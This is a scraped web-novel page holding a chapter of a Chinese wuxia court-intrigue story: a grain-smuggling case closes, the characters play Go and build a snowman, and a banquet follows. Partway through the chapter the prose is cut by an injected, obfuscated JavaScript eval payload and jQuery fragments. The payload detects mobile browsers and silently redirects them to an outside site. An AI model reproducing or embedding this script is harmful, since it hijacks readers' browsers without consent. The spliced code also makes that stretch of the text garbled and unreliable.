默认冷灰
24号文字
方正启体

21. Chapter 21 休整(二)

作者:程爻本书字数:K更新时间:
    辜月月尾,漕粮案与盐税案两案均已尘埃落定。


    寿春县县丞朱亮指使仓吏,用漕船夹运私盐至河北贩卖,用淤泥及霉米掩盖贩卖私盐的盐渍痕迹。


    按照朱亮及欧阳兴招供,寿春仓廪官只需在溁泽装船时用夹层舱藏入好米或私盐,漕船经阊水祁门时由纤夫开启暗闸,将底层货物泄入接应船,再注入预藏的七堰淤泥与阊江里的苇根充数即可。好米转手粮商,私盐贩售河北,收益十倍于邺市,具体往来均由漕帮及一众江湖人士代劳,他们只需上瞒县令,下使差吏。等小平仓及石门仓调仓翌日一过,空空如也的粮仓便会堆满数不清的金银珠宝、香料布帛。


    好在这几年风调雨顺,南方各地均是大丰年,因而没出什么乱子。只是湖州、扬州调荆州用于北上备战的二十万石漕粮,去除湿霉米,最终只剩十万石左右。除主犯等,浔阳郡功曹掾受贿舞弊,郡守钱立,寿春县县令包庇失察,一众官吏或枭首或下狱,或贬谪流放,天齐朝堂风气为之一肃。


    “十一月为辜。”


    辜者,故也。十一月阳生,欲革故取新也。


    “什么意思啊?”道年捧着一本《尔雅》哼唧,“看不懂,一定要学这本吗?”


    暂时充当教习的方舸点头:“先学吧。等崔先生来问你就迟了。”


    “我也看不懂。”阿杏凑过来,皱了皱鼻子,“中原人真难懂。弯弯绕绕的,不能有话直说嘛!江茂,你到时候不许跟伽罗祭祀说这些乱七八糟、‘之乎’啊‘者也’啊,只管说要娶我就成了,听见没?”


    怀中的龙胆雀舌刀被擦得铮鸣作响,如同镜面,照着江茂的脸又浮现出诡异的红晕,支支吾吾地——把刀擦得更亮。


    “的确,难懂的中原人。”沈寻简直看不下去,捧了本《南疆金粉录》摇头叹息,见陆海音凉凉地睨他,忙补充道,“这书里的曲甜儿,好不容易和裘傲天说清自己当年流落南疆的缘故,裘傲天却也不肯坦白自己和芸娘的婚约前情,两厢猜疑,这才生出许多波折来。唉,难懂的中原人!”


    陆海音不理他,自顾自打打棋谱。


    自从刺杀事件后,沈寻便时常称病,忽而头疼脑热,忽而腿疼畏寒,好比今次西子捧心状,说自己心口疼,恐怕是上次刺客小箭带来的后遗症迟迟未愈。江茂狐疑,说那支箭连你衣襟都未擦破,既无症,何来后遗一说。


    沈寻也毫不避讳,笑眯眯地说:“当时场面太过惊险。”


    “沈某的心被吓痛了,要陆大人哄一哄才好。”


    江茂词穷,青白的脸上一时之间不知摆出什么表情,也不好意思回头看陆海音的神色。


    被点名的陆海音闻言转身欲走,又被阿杏撒娇抱着胳膊留了下来。


    被派来增强戍卫的督查司察吏方舸哪里见过这阵仗,只觉如芒在背,手中长剑提起放下放下提起,左脚迈进右脚迈出,差点在庭院前摔个倒仰。


    被要求学习督查司规矩的新任杂役道年反而驾轻就熟,自己掏了掏耳朵,老练地对方舸说:“受不了就闭上眼睛。”见对方满脸疑问,他补充道:“毕竟你也闭不上耳朵。”


    方舸:……


    革故取新的十一月,朝廷和江湖风波陆续平息,连带着北面都平息不少。道年的崇拜对象从翟宴川变为方舸,动辄便夸他剑法高明,箭术精湛,自打“咱们督查司”介入后,整个别馆固若金汤,连只蚂蚁都飞不进来——也不管本来蚂蚁能不能飞。


    “可能和伪朝盐政失衡有关,梁颢继位后不愿与民争利,所以开放盐禁,不过……”陆海音捻黑子悬于半空,叩在左下三六路,旋即又将白棋点入中腹,弃掉右上二十目大龙。


    “不过利未及民,反资豪戚。”仗着身法灵巧,沈寻不知何时施施然落座棋枰对面,《南疆金粉录》翻过一章,“论北陈最大的豪戚,太师赵贞当之无愧。南齐彻查漕运及盐税案后,北面市场贩售的私盐大幅减少,势必导致盐价哄抬,却于税收无半点益处。人君之大患,莫甚于有惠民之心,而小人资之以行其奸私。”


    沈寻托腮,一双形状优美的眸子藏在书后,趁书页翻动的间隙,悄悄停留在陆海音的指尖:“想来北陈的小皇帝和太师又斗上法了,一时之间顾不上南边儿。”


    “沈公子高见。”


    葱白的指尖拈着剔透的黑玉棋子,悬停半空中,冲着自己微微晃动。沈寻凝神,只听对方道:“挡着光了。”


    沈寻从善如流地避了避身子,离小陆大人更近了。


    陆海音:……


    好在沈寻虽然脸皮厚,却也是个颇有眼力见儿的公子哥,知道何时该收声。他不再叨扰陆海音打棋谱,只管读自己的话本。阿杏听道年读书读得痛苦,早已带人去后院堆雪人,这会子正指挥江茂捡些树杈子回来,可惜襄宁公的别馆打扫得太干净,反倒难寻。


    一时间,房间内只剩两人看书下棋,书页翻动,闲敲棋子,倒颇有些岁月静好的错觉。


    好不容易等到裘傲天与曲甜儿解开误会,两人却双双陷入昌都密林和痋雾谷的迷阵中失去联系,裘傲天被南疆巫月寨圣女巫罗昙夜相救,又是一段美救英雄……沈寻读得头疼,放下了话本,却见棋枰上黑白双棋先成争斗之态,相持不下,百目后黑棋开劫,已做成天下劫——一劫赌全局。


    女子沉思的侧颜格外沉静,鸦青睫毛宛若翩飞的蝶翼,翕动间落下半扇细碎的阴影。沈寻看得入神,却见她忽然投了两枚白子,站起身往屋外走去。


    棋盘之上,黑棋开劫,白棋不应,似是一局和棋,也似一局死棋。


    “不想了?”


    “不下了。”女子忽然道,“不想了。”


    “出去看云吧。”


    沈寻笑得眉眼弯弯,说那自然是极好,极好的。


    雨后初晴,积云成絮,悬垂于明澈的天幕之上,绵延成鱼鳞一般成群\交叠的波纹,日光从间隙间洒落,明明暗暗,远远看去恍如山脊覆雪,冰川藏金。


    院中,一尊圆头圆脑的雪人举起自己松枝和榉木做成的手臂,如同高兴地振臂高呼。阿杏、道年两人堆了半天,累得瘫坐雪地里喘气,也不管积雪濡湿鞋袜。江茂干着急,阻止不得,忙解下自己的披风垫在阿杏的身下。两人窃窃私语,也不知说了什么,他才慢吞吞地从自己荷包中小心翼翼地取出一支鲜花,插在雪人的脑袋上,赢得少女满意的笑容。


    竟是一支雪中盛放的木兰。


    若是没记错,这正是她和沈寻在郁州港口接下的那支木兰,此后转送给江茂,到如今竟然同此前的杏花一般正当盛时,全无败相,也不知是南疆巫月寨的能耐,还是其他的江湖秘术。


    陆海音凝神思忖片刻,终究没有开口。江湖之大,承天地,接山海,运日月,不问方圆。江湖人,行走其中,谁人不是身怀秘辛?是以不必相问。


    那雪人头上戴了朵鲜花,瞧着格外喜庆。只是寻不着眼睛鼻子,还是显得逊色了些。沈寻正欲开口点评两句,笑话笑话阿杏的杰作。却见陆海音背着手,慢慢踱步而下,不多时,那雪人竟然画龙点睛般多了两颗黑亮的眼珠——


    赫然是多赢的两目黑棋。


    这一幕颇为震撼,却见女子拍拍雪人的圆头,冲众人道:“还挺配的。”


    确实挺配的,也挺吓人的,众人腹诽。


    ……


    两案告破后,照夜庭诸位终于能腾出空来,商议后,便趁着几日休沐,摆开宴席,做东宴请在场诸位吃饭,孙掌司等人得了襄宁公的首肯,出手倒也阔绰,竟又不知从哪儿变出来几坛难得的雪浣金。


    风一大夫每日给诸人依次诊完脉,开了药方,抓药的间隙瘫在一边和帮手的阿杏说话。这两人隔了这么些休整的日子,倒又握手言和,聊起医理来了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940858|177345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>几人的情况仍是老样子。江茂虽然被逼出千寻蛊母蛊,花纹却依然盘亘在枯瘦的手背处,不见消退。沈寻过度消耗内劲,调理几日后又龙精虎猛了。唯独一个陆海音,除了将养却是没有第二个法子。身体亏空太久了,几乎只剩个皮囊能看,里子却早全面溃败,是个油尽灯枯的症状。


    一席话说得众人皆沉默。唯有陆海音自己还算自在,她本就偷生,赚了时日,更全了忠孝情义,着实不剩遗憾。只是她凝视眼眸低垂,思绪翻涌的沈寻,却不知该说什么。


    道年跟随传膳的丫鬟一溜烟小跑进屋,见屋里一片沉默,惊道:“诸位这怎么了?又不是喊咱们去吃断头饭的。”谁知道竟是江茂僵硬地转过头来,和道年大眼瞪小眼,半晌挤了句:“你可真不会说话。”


    众人一听,乐了。


    筵开玳瑁,褥设芙蓉,自然是没有的。


    天齐不兴大齐奢靡之风,一切还是简单朴素为好。既然襄宁公如此说,翟宴川瞧了眼自己掌司的脸色,忙拣了一对犀角筷,敲敲杯盏,吟了句“玳瑁筵中怀里醉,芙蓉帐里奈君何”活络气氛,十分捧场。


    毕竟如此团圆的好日子才难得,其他实在不必计较。案列上的菜倒是精心,七宝配料煨炖驼掌,银刀飞脍雪鲈,波斯葡萄酿,天南地北无所不有。


    只是陆、沈二人却不爱荤腥,略沾了些便放下了杯箸。阿杏很不适应中原跽坐,又听见孙缵、翟宴川几人同裴珩打官腔,因而靠着江茂兴致缺缺。她双手托腮,好不容易等到龟兹乐师击答腊鼓,舞姬旋步反弹琵琶的节目,才指着胡姬小声地问道年,道年和对方谁的琵琶更胜一筹,道年还在长身体,吃得欢实,闻言差点噎死,朝天翻了个大大的白眼。


    “漕粮案与盐税案两案能如此顺利,辛苦载功了。”见裴珩称自己的字,心知对方对自己有所认可,孙缵连忙起身道,“裴相哪里的话。全仰仗裴相亲赴江夏坐镇决断,下官等略尽绵薄之力,幸不辱命!”


    翟宴川在一旁连连称是,有样学样。


    “若没记错,载功掌管镇抚已有三载,期间功绩赫赫。”裴珩放下雪浣金,道,“照夜庭副指挥使一位空置许久。待南北和谈一事尘埃落定,本相自会向邵指挥使提议,必不让载功的心血白费。”


    “裴相谬赞。下官多谢大人抬爱。只是副指挥使一事还需从长计议,毕竟陆大人已从北陈归来……”中年人沉稳可靠的脸上这才露出一丝难得的喜悦,片刻后却又十分犹豫,“于情于理,这副指挥使的位置,都该物归原主才是。”


    裴珩摆了摆手,眉眼间似有醉意:“她的去处,本相自有安排。”


    “……您可是指,兖州?”孙缵迟疑半晌,试探道,“下官听闻,陆大人昔年游学北陈,同藏锋山庄渊源颇深……”


    为首的胡姬炫舞渐息,足尖如往常一般点地腾挪,旋至主客座前,将弯刀一般的细腰,送至襄宁公的膝头,腰间金铃轻轻响动,恍如碎金撞沙之声。


    见襄宁公似有不耐之意,孙缵久居官场、身经百战如何不知,连忙地作揖告退,连带着还想再禀告两句的翟宴川也一并拽走,直言他不要不会看脸色行事。


    “无聊。真是无聊。”沈寻与陆海音同坐一案,将上首的动静看得一清二楚。他摇摇头,夺了陆海音剩下的半盏葡萄酿一饮而尽,白衣如流云般划过绛色茵褥,如红粉胭脂中冒出的一簇新雪,“陆大人,不知北陈的朝堂,会否更有趣一些。”


    “中原西域,南疆东海,风景看到后来总是差不多的。”陆海音没有直接回答,只是平静道,“居其位谋其事,位置都是相似的,故而所求所图也是相似的,不同的人,不同的性情罢了。”


    都是一样的无聊。沈寻读懂了对方的意思,却又听女子道,“不过人不同,便是最大的不同了。沈公子以为呢?”


    沈寻思忖片刻,笑道:“然也。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)